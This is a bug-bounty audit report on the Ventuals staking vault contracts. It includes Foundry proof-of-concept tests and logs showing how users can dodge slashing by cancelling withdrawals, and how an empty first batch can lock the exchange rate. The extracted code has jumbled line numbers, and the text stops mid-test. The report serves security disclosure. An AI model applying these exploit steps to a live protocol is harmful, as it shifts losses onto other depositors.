



# **Ventuals Protocol Audit Report, Cantina Bug Bounty Program, 2026**

v1.0

*Tanu Gupta*

*February 3, 2026*

# Ventuals Protocol

Tanu Gupta

February 3, 2026

Prepared by: Tanu Gupta

Lead Security Researcher:

- Tanu Gupta

## Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
- High
  - H-01: Users Can Escape Slashing by Canceling Withdrawals During Queue Period
    - \* Summary
    - \* Finding Description
    - \* Root Cause
    - \* Impact Explanation

- \* Likelihood Explanation
- \* Proof of Concept
- \* Recommendation
- Medium
  - M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users
    - \* Summary
    - \* Finding Description
    - \* Root Cause
    - \* Impact Explanation
    - \* Likelihood Explanation
    - \* Proof of Concept
    - \* Recommendation
  - M-02: Lack of Slippage Protection Enables MEV Exploitation on All Deposits
    - \* Summary
    - \* Finding Description
    - \* Impact Explanation
    - \* Likelihood Explanation
    - \* Proof of Concept
    - \* Recommendation

## Protocol Summary

Ventuals is creating a HYPE liquid staking token (vHYPE) to raise the minimum stake requirement for HIP-3 mainnet deployment (currently 500k HYPE). Contributors deposit HYPE into the vault and receive vHYPE, a fully transferable ERC20 that represents a claim on their underlying principal.

Any additional HYPE deposited provides a **liquidity buffer**, enabling contributors to withdraw without reducing the validator stake below the 500k minimum. The vault has no deposit cap, and contributors can deposit any amount of HYPE at any time. Contributors may also withdraw at any time, provided the 500k minimum stake is maintained.

All native staking yield accrues automatically to vHYPE holders and is reflected in the vHYPE/HYPE exchange rate.

## Disclaimer

I Tanu Gupta, make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

I've used the Cantina severity matrix to determine severity. See the documentation for more details.

## Audit Details

The audit was conducted from Jan 30, 2026 to Feb 3, 2026. The audit was conducted as part of the bug bounty program for Ventuals conducted by Cantina.

## Scope

The audit was conducted on the following contracts:

- StakingVault
- StakingVaultManager
- RoleRegistry
- ./libraries/
- ./interfaces/

## Roles

The roles were determined by the following:

- OWNER: The owner of the contract.
- MANAGER: Can deposit, withdraw, delegate, and transfer HYPE on behalf of the vault.
- OPERATOR: Handles automated, day-to-day protocol operations (e.g. transferring HYPE from HyperEVM to HyperCore, rotating the StakingVault's API wallets).

## Executive Summary

The audit corresponds to the codebase at the following repository: [ventuals/ventuals-contracts](#).

## Issues found

I found one valid vulnerability in the codebase though other vulnerabilities were found but they were not deemed to be valid by the team.

Below is a valid vulnerability found in the codebase:

- M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users

## Findings

### High

#### H-01: Users Can Escape Slashing by Canceling Withdrawals During Queue Period

##### Summary

Users can exploit the **withdrawal cancellation** mechanism to escape slashing penalties by monitoring the vault's exchange rate and cancelling their withdrawals if a slash occurs before their withdrawal is processed into a batch.

This gives a **free option** to users with monitoring capabilities to pass on their losses to other stakes while avoiding losses themselves, thus undermining the fairness of the slashing system.

## Finding Description

The protocol allows users to cancel their withdrawal requests at any time before they are processed into a batch via the `cancelWithdraw()` function.

After detecting a slashing event, users could easily protect themselves by cancelling their withdrawal request, and there is no restriction preventing users from doing so.

This creates an exploitable window where users can:

1. Queue a withdrawal when the exchange rate is favorable
2. Monitor the HyperCore L1 for slashing events
3. Cancel their withdrawal if a slash occurs and the exchange rate drops
4. Wait for the exchange rate to recover from future staking rewards
5. Re-queue their withdrawal at a better rate

Users would have enough time to detect a slash and cancel their withdrawal before it gets processed into a batch.

## Root Cause

`cancelWithdraw` at L252-270

```
1 function cancelWithdraw(uint256 withdrawId) external whenNotPaused {
2     Withdraw storage withdraw = withdraws[withdrawId];
3     require(msg.sender == withdraw.account, NotAuthorized());
4     require(withdraw.cancelledAt == 0, WithdrawCancelled());
5     require(withdraw.batchIndex == type(uint256).max, WithdrawProcessed
        ()); // Only checks if processed
6
7     // Remove from the linked list
8     withdrawQueue.remove(withdrawId);
9
10    // Set cancelled timestamp
11    withdraw.cancelledAt = block.timestamp;
12
13    // Refund vHYPE
14    uint256 vhypeAmount = withdraw.vhypeAmount;
15    bool success = vHYPE.transfer(msg.sender, vhypeAmount);
16    require(success, TransferFailed(msg.sender, vhypeAmount));
17
18    emit CancelWithdraw(msg.sender, withdrawId, withdraw);
19 }
```

The root cause is the lack of any constraint that prevents cancellation after adverse events like slashing happens. The above function does not:

1. impose a tiny window after which cancellation is not allowed
2. penalizes users for cancelling, which would disincentivize other users
3. check if slashing has happened since the withdrawal was queued

### Impact Explanation

1. There is a direct financial impact on users

*For example:*

- Vault: \$10M TVL
- Slash event happened: 10% loss => \$1M loss
- Withdrawal Queue: 20% of supply => \$2M worth
- If 50% of the users escape/cancel the withdrawal request: \$1M in withdrawals cancelled

Result:

- Escapers (50%) avoid \$100K loss
- Non escapers (50%) absorb \$200K loss

**Per-user impact:** Individual users can lose 10-50% more than they should.

2. Adverse spiral effect
  - Sophisticated users escape, leading to concentrated losses.
  - Other users learn they're being "dumped on"
  - Future slashes => more escapers
  - Eventually everyone tries to escape => bank run
  - Only the slowest/uninformed bear ALL losses

### Likelihood Explanation

1. Slashing events will occur as validator misbehavior is inevitable
2. No special permission is required
3. Easily executable via MEV bots
4. Profitable for any amount as long as losses are avoided

### Proof of Concept

Paste the following code in StakingVaultManager.t.sol for simulating the issue

```
1  function test_SlashEscape_AttackerCancelsAfterSlash() public
2      withExcessStakeBalance {
3          address attacker = makeAddr("attacker");
4          address victim = makeAddr("victim");
5
6          // Mock HyperCore accounts exist
7          hl.mockCoreUserExists(attacker, true);
8          hl.mockCoreUserExists(victim, true);
9
10         // Both attacker and victim deposit
11         uint256 depositAmount = 5_000 * 1e18;
12         vm.deal(attacker, depositAmount);
13         vm.deal(victim, depositAmount);
14
15         vm.prank(attacker);
16         stakingVaultManager.deposit{value: depositAmount}();
17
18         vm.prank(victim);
19         stakingVaultManager.deposit{value: depositAmount}();
20
21         uint256 initialRate = stakingVaultManager.exchangeRate();
22         uint256 attackerVHYPE = vHYPE.balanceOf(attacker);
23         uint256 victimVHYPE = vHYPE.balanceOf(victim);
24
25         // BOTH QUEUE WITHDRAWALS (Victim first, then attacker)
26         vm.prank(victim);
27         vHYPE.approve(address(stakingVaultManager), victimVHYPE);
28         vm.prank(victim);
29         uint256[] memory victimWithdrawIds = stakingVaultManager.
30             queueWithdraw(victimVHYPE);
31
32         vm.prank(attacker);
33         vHYPE.approve(address(stakingVaultManager), attackerVHYPE);
34         vm.prank(attacker);
35         uint256[] memory attackerWithdrawIds = stakingVaultManager.
36             queueWithdraw(attackerVHYPE);
37
38         // Verify both can still cancel
39         IStakingVaultManager.Withdraw memory attackerWithdraw =
40             stakingVaultManager.getWithdraw(attackerWithdrawIds[0]);
41         assertEq(attackerWithdraw.batchIndex, type(uint256).max, "
42             Should be cancellable");
43
44         // SIMULATE SLASHING EVENT (10% loss)
45         console.log("SLASHING EVENT OCCURS!");
46         console.log("Validator misbehaves, vault loses 10%");
47
48         // Get current state and slash by 10%
```



```
46     L1ReadLibrary.DelegatorSummary memory currentSummary =
47         stakingVault.delegatorSummary();
48     uint64 slashedDelegated = uint64((currentSummary.delegated *
49         90) / 100);
50
51     // Mock the slashed state
52     hl.mockDelegatorSummary(
53         address(stakingVault),
54         L1ReadLibrary.DelegatorSummary({
55             delegated: slashedDelegated,
56             undelegated: currentSummary.undelegated,
57             totalPendingWithdrawal: currentSummary.
58                 totalPendingWithdrawal,
59             nPendingWithdrawals: currentSummary.nPendingWithdrawals
60         })
61     );
62
63     // Update delegation
64     hl.mockDelegation(
65         address(stakingVault),
66         L1ReadLibrary.Delegation({
67             validator: validator,
68             amount: slashedDelegated,
69             lockedUntilTimestamp: uint64((block.timestamp + 1 days)
70                 * 1000)
71         })
72     );
73
74     uint256 postSlashRate = stakingVaultManager.exchangeRate();
75     uint256 rateDrop = ((initialRate - postSlashRate) * 100) /
76         initialRate;
77
78     console.log("After Slashing:");
79     console.log("=> New Exchange Rate: %e", postSlashRate);
80     console.log("=> Rate Drop: %s%", rateDrop);
81     console.log("=> Total Vault Balance: %e\n", stakingVaultManager
82         .totalBalance());
83
84     // Calculate expected losses
85     uint256 attackerExpectedAtOldRate = (attackerVHYPE *
86         initialRate) / 1e18;
87     uint256 attackerExpectedAtNewRate = (attackerVHYPE *
88         postSlashRate) / 1e18;
89     uint256 potentialLoss = attackerExpectedAtOldRate -
90         attackerExpectedAtNewRate;
91
92     console.log("Attacker's Dilemma:");
93     console.log("- Would receive at old rate: %e HYPE",
94         attackerExpectedAtOldRate);
95     console.log("- Would receive at new rate: %e HYPE",
96         attackerExpectedAtNewRate);
```

```
86     console.log("- Potential Loss if proceeds: %e HYPE\n",
87                 potentialLoss);
88
89     // ATTACKER DETECTS AND CANCELS
90     console.log("ATTACKER MONITORS AND ESCAPES!");
91     console.log("- Attacker's bot detects exchange rate drop");
92     console.log("- Attacker calls cancelWithdraw()\n");
93
94     vm.prank(attacker);
95     stakingVaultManager.cancelWithdraw(attackerWithdrawIds[0]);
96
97     uint256 attackerRefundedVHYPE = vHYPE.balanceOf(attacker);
98
99     console.log("Attacker Successfully Cancels:");
100    console.log("- Refunded vHYPE: %e", attackerRefundedVHYPE);
101    console.log("- Escaped Loss: %e HYPE", potentialLoss);
102    console.log("- Status: SAFE - Can wait for rate recovery\n");
103
104    // VICTIM DOESN'T CANCEL (uninformed user)
105    console.log("VICTIM PROCEEDS (unaware of slash):");
106    console.log("- Victim doesn't monitor exchange rate");
107    console.log("- Withdrawal remains in queue\n");
108
109    // Time passes, batch gets processed
110    warp(block.timestamp + 1 days);
111
112    console.log("Batch Processing:");
113    uint256 numProcessed = stakingVaultManager.processBatch(type(
114        uint256).max);
115    console.log("- Processed withdrawals:", numProcessed);
116
117    // Verify victim's withdrawal was processed
118    IStakingVaultManager.Withdraw memory victimWithdrawAfterProcess
119    =
120    stakingVaultManager.getWithdraw(victimWithdrawIds[0]);
121    assertEq(victimWithdrawAfterProcess.batchIndex, 0, "Victim
122        withdrawal should be in batch 0");
123
124    stakingVaultManager.finalizeBatch();
125    console.log("- Batch finalized at snapshot rate\n");
126
127    // OWNER APPLIES SLASH TO BATCH
128    console.log("Owner Applies Slash:");
129    console.log("- Owner detects slashing event on HyperCore");
130    console.log("- Calls applySlash() to adjust batch exchange rate
131        \n");
132
133    vm.prank(owner);
134    stakingVaultManager.applySlash(0, postSlashRate);
135
136    console.log("Slash Applied:");
```

```
132     console.log("- Batch exchange rate adjusted to: %e",
133               postSlashRate);
134     console.log("- Victim will receive even LESS due to slash
135               adjustment\n");
136
137     // Wait 7 days + claimWindowBuffer for withdrawal to be
138     // claimable
139     uint256 claimWindowBuffer = stakingVaultManager.
140       claimWindowBuffer();
141     warp(block.timestamp + 7 days + claimWindowBuffer + 1);
142
143     // Victim claims
144     vm.prank(victim);
145     stakingVaultManager.claimWithdraw(victimWithdrawIds[0], victim)
146       ;
147
148     uint256 victimExpectedWithoutSlash = (victimVHYPE * initialRate
149       ) / 1e18;
150     uint256 victimExpectedAtSlashedRate = (victimVHYPE *
151       postSlashRate) / 1e18;
152     uint256 victimActualLoss = victimExpectedWithoutSlash -
153       victimExpectedAtSlashedRate;
154
155     console.log("Victim Claims:");
156     console.log("- Expected without slash: %e HYPE",
157               victimExpectedWithoutSlash);
158     console.log("- Expected at slashed rate: %e HYPE",
159               victimExpectedAtSlashedRate);
160     console.log("- Actual Loss: %e HYPE", victimActualLoss);
161     console.log("- Loss percentage: %s%%\n", rateDrop);
162
163     // VERIFY EXPLOIT SUCCESS
164     console.log("EXPLOIT SUCCESSFUL");
165     console.log("- Attacker: Escaped with %e vHYPE, avoided %s%%
166       loss", attackerRefundedVHYPE, rateDrop);
167     console.log("- Victim: Suffered FULL %s%% loss = %e HYPE",
168               rateDrop, victimActualLoss);
169     console.log("- Outcome: Sophisticated user escaped, uninformed
170       user bore the slash");
171     console.log("- Attacker can re-queue later when rate recovers
172       from staking rewards\n");
173
174     // Assertions
175     assertGt(attackerRefundedVHYPE, 0, "Attacker should have vHYPE"
176       );
177     assertEq(attackerRefundedVHYPE, attackerVHYPE, "Attacker should
178       get full refund");
179
180     // the point is the withdrawal was processed and attacker
181     // escaped
182     IStakingVaultManager.Withdraw memory finalVictimWithdraw =
```

```

166         stakingVaultManager.getWithdraw(victimWithdrawIds[0]);
        assertTrue(finalVictimWithdraw.claimedAt > 0, "Victim
            withdrawal should be claimed");
167         assertEquals(finalVictimWithdraw.batchIndex, 0, "Victim should be
            in batch 0");
168     }

```

### Log Results

```

1  SLASHING EVENT OCCURS!
2  Validator misbehaves, vault loses 10%
3  After Slashing:
4  => New Exchange Rate: 901639344262295081
5  => Rate Drop: 9
6  => Total Vault Balance: 55000000000000000000000000000000
7  Attacker's Dilemma:
8  - Would receive at old rate: 5e21 HYPE
9  - Would receive at new rate: 4.508196721311475405e21 HYPE
10 - Potential Loss if proceeds: 4.91803278688524595e20 HYPE
11
12 ATTACKER MONITORS AND ESCAPES!
13 - Attacker's bot detects exchange rate drop
14 - Attacker calls cancelWithdraw()
15
16 Attacker Successfully Cancels:
17 - Refunded vHYPE: 5e21
18 - Escaped Loss: 4.91803278688524595e20 HYPE
19 - Status: SAFE - Can wait for rate recovery
20
21 VICTIM PROCEEDS (unaware of slash):
22 - Victim doesn't monitor exchange rate
23 - Withdrawal remains in queue
24
25 Batch Processing:
26 - Processed withdrawals: 1
27 - Batch finalized at snapshot rate
28
29 Owner Applies Slash:
30 - Owner detects slashing event on HyperCore
31 - Calls applySlash() to adjust batch exchange rate
32
33 Slash Applied:
34 - Batch exchange rate adjusted to: 9.01639344262295081e17
35 - Victim will receive even LESS due to slash adjustment
36
37 Victim Claims:
38 - Expected without slash: 5e21 HYPE
39 - Expected at slashed rate: 4.508196721311475405e21 HYPE
40 - Actual Loss: 4.91803278688524595e20 HYPE
41 - Loss percentage: 9%
42

```

```
43    === EXPLOIT SUCCESSFUL ===
44    - Attacker: Escaped with 5e21 vHYPE, avoided 9% loss
45    - Victim: Suffered FULL 9% loss = 4.91803278688524595e20 HYPE
46    - Outcome: Sophisticated user escaped, uninformed user bore the slash
47    - Attacker can re-queue later when rate recovers from staking rewards
```

## Recommendation

1. Time-based cancellation window: Implement a strict cancellation window (e.g., 1 hour) after queueing, after which withdrawals cannot be canceled:

```
1  function cancelWithdraw(uint256 withdrawId) external whenNotPaused {
2      Withdraw storage withdraw = withdraws[withdrawId];
3      require(msg.sender == withdraw.account, NotAuthorized());
4      require(withdraw.cancelledAt == 0, WithdrawCancelled());
5      require(withdraw.batchIndex == type(uint256).max, WithdrawProcessed
6              ());
7      // +++++ Enforce cancellation window +++++
8      require(
9          block.timestamp <= withdraw.queuedAt + 1 hours,
10         CancellationWindowExpired()
11     );
12
13     // ... rest of function
14 }
```

2. Apply a small penalty (e.g., 1-2%) on cancellation to disincentivize slashing mechanism
3. Track slashing events and prevent cancellation after slash detection

## Medium

### M-01: First Batch Exchange Rate Lock Causes Complete Loss of Staking Yield for Early Users

#### Summary

The protocol allows anyone to process a batch immediately upon launch, which snapshots the initial exchange rate (1.0) and locks it for that batch.

All users who queue withdrawals in the first batch would receive **0 staking yield** and, in some cases, even take principal losses if they deposited after rewards began accruing.

## Finding Description

The fundamental promise of the Ventuals LST is stated in the README:

“**Native yield: All native staking yield accrues proportionally to vHYPE holders.**”

However, this promise is **completely broken** for all users withdrawing in the first batch due to an exchange rate lock vulnerability.

When the first batch is created, which anyone can do immediately at launch without restrictions, the exchange rate is locked at 1.0. Regardless of the actual amount of staking yield accumulated, this results in subsequent withdrawals intended to be processed into the first batch stuck at 1.0 rate.

Users who hold vHYPE for a long time, during which the protocol earns substantial staking rewards, end up receiving the exact same amount of HYPE they originally deposited when withdrawing. They earn **zero yield** despite the protocol earning and other users receiving rewards.

This is not just **unfair** - it's a complete negation of the LST's core purpose.

**Even worse:** Users who deposit AFTER rewards start accruing (e.g., at rate 1.005) but before the first batch is created, then withdraw from the first batch locked at 1.0, actually **lose principal** - receiving less HYPE than they deposited.

## Root Cause

The vulnerability exists because

1. there are no timing restriction on the creation of first batch
2. there is no minimum withdrawal requirement; a batch can be created even with empty queue
3. anyone can call `processBatch()` to trigger batch creation

This combination results in a situation where:

- Batch created at rate 1.0 on Day 0
- Protocol earns 8% rewards over 30 days (rate should be 1.08)
- Users queuing withdrawals on Day 30 expecting 1.08 rate
- But they're assigned to first batch still locked at 1.0
- **Users receive 0% yield instead of expected 8%**

## Impact Explanation

1. 100% loss of staking yield for early users

2. Breaks core LST promise ("native yield accrues")
3. Can cause principal loss for users depositing after initial rewards
4. Affects all early adopters (most valuable users)

For protocol with \$10M TVL where first batch lasts 30 days:

- **Expected yield distribution:** \$800,000 (8% over 30 days)
- **Actual yield to first batch users:** \$0
- **Total user loss over first batch:** \$800,000

### Likelihood Explanation

1. Anyone can call processBatch() (permissionless)
2. No restrictions on first batch creation
3. Is easily executable

### Proof of Concept

Paste the following test cases in the StakingVaultManager.t.sol for simulating the issue:

1. Demonstrating users in first batch receive 0 staking yield due to rate lock

```
1  function test_FirstBatchZeroYield_CompleteYieldLoss() public
2      withExcessStakeBalance {
3      address attacker = makeAddr("attacker");
4      address victim = makeAddr("victim");
5
6      // Mock HyperCore accounts
7      hl.mockCoreUserExists(attacker, true);
8      hl.mockCoreUserExists(victim, true);
9
10     // ===== SETUP: Victim deposits at protocol launch (rate 1.0)
11     // =====
12     uint256 depositAmount = 5_000 * 1e18; // Use 5k to avoid
13     withdrawal splitting
14     vm.deal(victim, depositAmount);
15
16     uint256 initialRate = stakingVaultManager.exchangeRate();
17     console.log("DAY 0: Protocol Launch");
18     console.log("- Current Exchange Rate: %e (1.0)", initialRate);
19     console.log("- Total Balance: %e HYPE\n", stakingVaultManager.
20         totalBalance());
21
22     // Victim deposits at launch
23     vm.prank(victim);
```

```
20     stakingVaultManager.deposit{value: depositAmount}();
21
22     uint256 victimVHYPE = vHYPE.balanceOf(victim);
23
24     console.log("DAY 0: Victim Deposits");
25     console.log("- Deposit amount: 5,000 HYPE");
26     console.log("- vHYPE received: %e", victimVHYPE);
27     console.log("- Exchange rate: %e", initialRate);
28     console.log("- Victim expects to earn staking yield over time\n");
29
30     assertEq(initialRate, 1e18, "Initial rate should be 1.0");
31     assertEq(victimVHYPE, depositAmount, "Should receive 5,000\nvHYPE at 1:1");
32
33     // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
34     console.log("DAY 0 (moments later): Attacker Locks Rate");
35     console.log("- Attacker calls processBatch() with empty queue")
36     ;
37     console.log("- Creates Batch #0 with snapshot rate = 1.0");
38
39     vm.prank(attacker);
40     uint256 processed = stakingVaultManager.processBatch(type(
41         uint256).max);
42
43     IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
44         getBatch(0);
45
46     console.log("First Batch Created:");
47     console.log("- Batch Index: 0");
48     console.log("- Snapshot Exchange Rate: %e (LOCKED!)", batch0.
49         snapshotExchangeRate);
50     console.log("- vHYPE Processed: %s", processed);
51
52     assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at\n1.0");
53     assertEq(batch0.vhypeProcessed, 0, "Batch is empty");
54     assertEq(processed, 0, "No withdrawals processed");
55
56     // TIME PASSES, STAKING REWARDS ACCUMULATE
57     console.log("DAYS 1-30: Time Passes, Rewards Accumulate");
58
59     // Fast forward 30 days
60     warp(block.timestamp + 30 days);
61
62     // Mock staking rewards: 8% increase in delegated amount (
63     WITHOUT minting new vHYPE)
64     L1ReadLibrary.DelegatorSummary memory currentSummary =
65         stakingVault.delegatorSummary();
66     uint64 newDelegated = uint64((currentSummary.delegated * 108) /
67         100); // +8%
```



```
61
62     _mockDelegations(validator, newDelegated);
63
64     uint256 currentRate = stakingVaultManager.exchangeRate();
65     uint256 rateIncrease = currentRate > initialRate ? ((
66         currentRate - initialRate) * 100) / initialRate : 0;
67     uint256 newTotalBalance = stakingVaultManager.totalBalance();
68
69     console.log("- Days passed: 30");
70     console.log("- New Total Balance: %e HYPE", newTotalBalance);
71     console.log("- Current live exchange rate: %e", currentRate);
72     console.log("- Rate increase: %s%%", rateIncrease);
73     console.log("- Victim's vHYPE now worth: %e HYPE at current
74         rate\n", (victimVHYPE * currentRate) / 1e18);
75
76     uint256 expectedAtCurrentRate = (victimVHYPE * currentRate) / 1
77         e18;
78     uint256 expectedYield = expectedAtCurrentRate - depositAmount;
79
80     console.log("Victim's Expectation:");
81     console.log("- Original deposit: 5,000 HYPE");
82     console.log("- Expected withdrawal: %e HYPE",
83         expectedAtCurrentRate);
84     console.log("- Expected yield: %e HYPE (%s%%)\n", expectedYield
85         , rateIncrease);
86
87     // VICTIM QUEUES WITHDRAWAL
88     console.log("DAY 30: Victim Queues Withdrawal");
89     console.log("- Victim held vHYPE for 30 days");
90     console.log("- Victim sees current rate: %e", currentRate);
91     console.log("- Victim queues withdrawal expecting yield\n");
92
93     vm.prank(victim);
94     vHYPE.approve(address(stakingVaultManager), victimVHYPE);
95     vm.prank(victim);
96     uint256[] memory withdrawIds = stakingVaultManager.
97         queueWithdraw(victimVHYPE);
98
99     console.log("Withdrawal Queued:");
100     console.log("- Withdraw ID: %s", withdrawIds[0]);
101     console.log("- vHYPE amount: %e\n", victimVHYPE);
102
103     // WITHDRAWAL PROCESSED AT LOCKED RATE
104     console.log("DAY 31: Withdrawal Processed Into First Batch");
105
106     warp(block.timestamp + 1 days);
107     stakingVaultManager.processBatch(type(uint256).max);
108
109     IStakingVaultManager.Withdraw memory withdrawal =
110         stakingVaultManager.getWithdraw(withdrawIds[0]);
111     batch0 = stakingVaultManager.getBatch(0);
```

```
105
106     uint256 actualHYPEAmount = (withdrawal.vhypeAmount * batch0.
        snapshotExchangeRate) / 1e18;
107
108     console.log("- Withdrawal assigned to Batch: %s", withdrawal.
        batchIndex);
109     console.log("- Batch snapshot rate: %e (STILL 1.0!)", batch0.
        snapshotExchangeRate);
110     console.log("- Current live rate: %e (ignored!)",
        stakingVaultManager.exchangeRate());
111     console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
112     console.log("- HYPE to receive: %e\n", actualHYPEAmount);
113
114     assertEq(withdrawal.batchIndex, 0, "Should be in first batch");
115     assertEq(batch0.snapshotExchangeRate, 1e18, "Rate STILL locked
        at 1.0");
116
117     // The actual HYPE amount should equal the vHYPE amount (since
        rate is 1.0)
118     assertEq(actualHYPEAmount, withdrawal.vhypeAmount, "At rate
        1.0, HYPE equals vHYPE");
119     assertLt(actualHYPEAmount, expectedAtCurrentRate, "Victim gets
        less than at current rate");
120
121     // CALCULATE VICTIM'S DEVASTATING LOSS
122     uint256 lostYield = expectedAtCurrentRate - actualHYPEAmount;
123     uint256 lossPercentage = (lostYield * 100) /
        expectedAtCurrentRate;
124
125     console.log("VICTIM'S LOSSES");
126     console.log("- Expected at current rate: %e HYPE",
        expectedAtCurrentRate);
127     console.log("- Actual at locked rate: %e HYPE",
        actualHYPEAmount);
128     console.log("- Lost yield: %e HYPE", lostYield);
129     console.log("- Loss percentage: %s%% of expected return",
        lossPercentage);
130
131     console.log("EXPLOIT SUCCESSFUL");
132     console.log("- Victim held vHYPE for 30 days");
133     console.log("- Protocol earned 8%% staking rewards");
134     console.log("- Victim received 0%% yield [LOSS]");
135     console.log("- Victim's vHYPE was worthless for yield
        generation");
136
137     // Assertions
138     assertGt(lostYield, 0, "Victim should have lost yield");
139     assertGt(currentRate, batch0.snapshotExchangeRate, "Current
        rate higher than locked");
140
141     // Victim receives at locked rate, losing ALL accumulated yield
```

```
142     assertTrue(  
143         actualHYPEAmount < expectedAtCurrentRate, "CRITICAL: User  
        receives less than fair value due to rate lock"  
144     );  
145  
146     // Lost yield is 100% of expected yield (gets 0% of rewards)  
147     assertApproxEqRel(lostYield, expectedYield, 0.01e18, "100% loss  
        ");  
148 }
```

### Logs:

```
1 DAY 0: Protocol Launch  
2   - Current Exchange Rate: 1e18 (1.0)  
3   - Total Balance: 6e23 HYPE  
4  
5 DAY 0: Victim Deposits  
6   - Deposit amount: 5,000 HYPE  
7   - vHYPE received: 5e21  
8   - Exchange rate: 1e18  
9   - Victim expects to earn staking yield over time  
10  
11 DAY 0 (moments later): Attacker Locks Rate  
12   - Attacker calls processBatch() with empty queue  
13   - Creates Batch #0 with snapshot rate = 1.0  
14 First Batch Created:  
15   - Batch Index: 0  
16   - Snapshot Exchange Rate: 1e18 (LOCKED!)  
17   - vHYPE Processed: 0  
18 DAYS 1-30: Time Passes, Rewards Accumulate  
19   - Days passed: 30  
20   - New Total Balance: 6.53e23 HYPE  
21   - Current live exchange rate: 1.079338842975206611e18  
22   - Rate increase: 7%  
23   - Victim's vHYPE now worth: 5.396694214876033055e21 HYPE at current  
    rate  
24  
25 Victim's Expectation:  
26   - Original deposit: 5,000 HYPE  
27   - Expected withdrawal: 5.396694214876033055e21 HYPE  
28   - Expected yield: 3.96694214876033055e20 HYPE (7%)  
29  
30 DAY 30: Victim Queues Withdrawal  
31   - Victim held vHYPE for 30 days  
32   - Victim sees current rate: 1.079338842975206611e18  
33   - Victim queues withdrawal expecting yield  
34  
35 Withdrawal Queued:  
36   - Withdraw ID: 1  
37   - vHYPE amount: 5e21  
38
```

```
39 DAY 31: Withdrawal Processed Into First Batch
40 - Withdrawal assigned to Batch: 0
41 - Batch snapshot rate: 1e18 (STILL 1.0!)
42 - Current live rate: 1.079338842975206611e18 (ignored!)
43 - vHYPE withdrawn: 5e21
44 - HYPE to receive: 5e21
45
46 VICTIM'S LOSSES
47 - Expected at current rate: 5.396694214876033055e21 HYPE
48 - Actual at locked rate: 5e21 HYPE
49 - Lost yield: 3.96694214876033055e20 HYPE
50 - Loss percentage: 7% of expected return
51 EXPLOIT SUCCESSFUL
52 - Victim held vHYPE for 30 days
53 - Protocol earned 8% staking rewards
54 - Victim received 0% yield [LOSS]
55 - Victim's vHYPE was worthless for yield generation
```

## 2. Demonstrating user can even lose **principal** if depositing after rewards accumulate

```
1 function test_FirstBatchZeroYield_PrincipalLoss() public
2   withExcessStakeBalance {
3     address attacker = makeAddr("attacker");
4     address victim = makeAddr("victim");
5
6     hl.mockCoreUserExists(attacker, true);
7     hl.mockCoreUserExists(victim, true);
8
9     uint256 initialRate = stakingVaultManager.exchangeRate();
10    console.log("DAY 0: Protocol Launches");
11    console.log("- Initial exchange rate: %e", initialRate);
12    console.log("- Total balance: %e HYPE\n", stakingVaultManager.
13      totalBalance());
14
15    // ATTACKER CREATES EMPTY FIRST BATCH TO LOCK THE RATE
16    console.log("DAY 0: Attacker Creates Empty First Batch");
17    vm.prank(attacker);
18    stakingVaultManager.processBatch(type(uint256).max);
19
20    IStakingVaultManager.Batch memory batch0 = stakingVaultManager.
21      getBatch(0);
22    console.log("- Batch #0 created with rate: %e (LOCKED)", batch0.
23      snapshotExchangeRate);
24
25    assertEq(batch0.snapshotExchangeRate, 1e18, "Snapshot locked at
26      1.0");
27
28    // REWARDS ACCUMULATE
29    console.log("DAYS 1-5: Early Rewards Accumulate");
30    warp(block.timestamp + 5 days);
31  }
```

```
27 // Mock 0.5% rewards (increase delegated amount only
28 L1ReadLibrary.DelegatorSummary memory currentSummary =
    stakingVault.delegatorSummary();
29 uint64 newDelegated = uint64((currentSummary.delegated * 1005) /
    1000); // +0.5%
30
31 _mockDelegations(validator, newDelegated);
32
33 uint256 rateAfterRewards = stakingVaultManager.exchangeRate();
34 uint256 newTotalBalance = stakingVaultManager.totalBalance();
35
36 console.log("- Days passed: 5");
37 console.log("- Rewards accumulated: 0.5%");
38 console.log("- New total balance: %e HYPE", newTotalBalance);
39 console.log("- Current exchange rate: %e\n", rateAfterRewards);
40
41 assertGt(rateAfterRewards, 1e18, "Rate should have increased");
42
43 // VICTIM DEPOSITS AT HIGHER RATE
44 console.log("DAY 5: Victim Deposits (Unaware of Rate Lock)");
45
46 uint256 depositAmount = 5_000 * 1e18;
47 vm.deal(victim, depositAmount);
48
49 vm.prank(victim);
50 stakingVaultManager.deposit{value: depositAmount}();
51
52 uint256 victimVHYPE = vHYPE.balanceOf(victim);
53
54 console.log("- Deposit amount: 5,000 HYPE");
55 console.log("- Exchange rate at deposit: %e", rateAfterRewards);
56 console.log("- vHYPE received: %e", victimVHYPE);
57 console.log("- Cost basis: 5,000 HYPE\n");
58
59 assertLt(victimVHYPE, depositAmount, "Should receive less vHYPE
    at higher rate");
60
61 // VICTIM WITHDRAWS AT LOCKED RATE
62 console.log("DAY 30: Victim Queues Withdrawal");
63 warp(block.timestamp + 25 days);
64
65 vm.prank(victim);
66 vHYPE.approve(address(stakingVaultManager), victimVHYPE);
67 vm.prank(victim);
68 uint256[] memory withdrawIds = stakingVaultManager.queueWithdraw
    (victimVHYPE);
69
70 warp(block.timestamp + 1 days);
71 stakingVaultManager.processBatch(type(uint256).max);
72
73 IStakingVaultManager.Withdraw memory withdrawal =
```

```
    stakingVaultManager.getWithdraw(withdrawIds[0]);
74    batch0 = stakingVaultManager.getBatch(0);
75
76    uint256 receivedHYPE = (withdrawal.vhypeAmount * batch0.
        snapshotExchangeRate) / 1e18;
77    uint256 principalLoss = depositAmount - receivedHYPE;
78
79    console.log("Withdrawal Processed:");
80    console.log("- Assigned to Batch #0");
81    console.log("- Locked rate: %e (still 1.0!)", batch0.
        snapshotExchangeRate);
82    console.log("- vHYPE withdrawn: %e", withdrawal.vhypeAmount);
83    console.log("- HYPE received: %e\n", receivedHYPE);
84
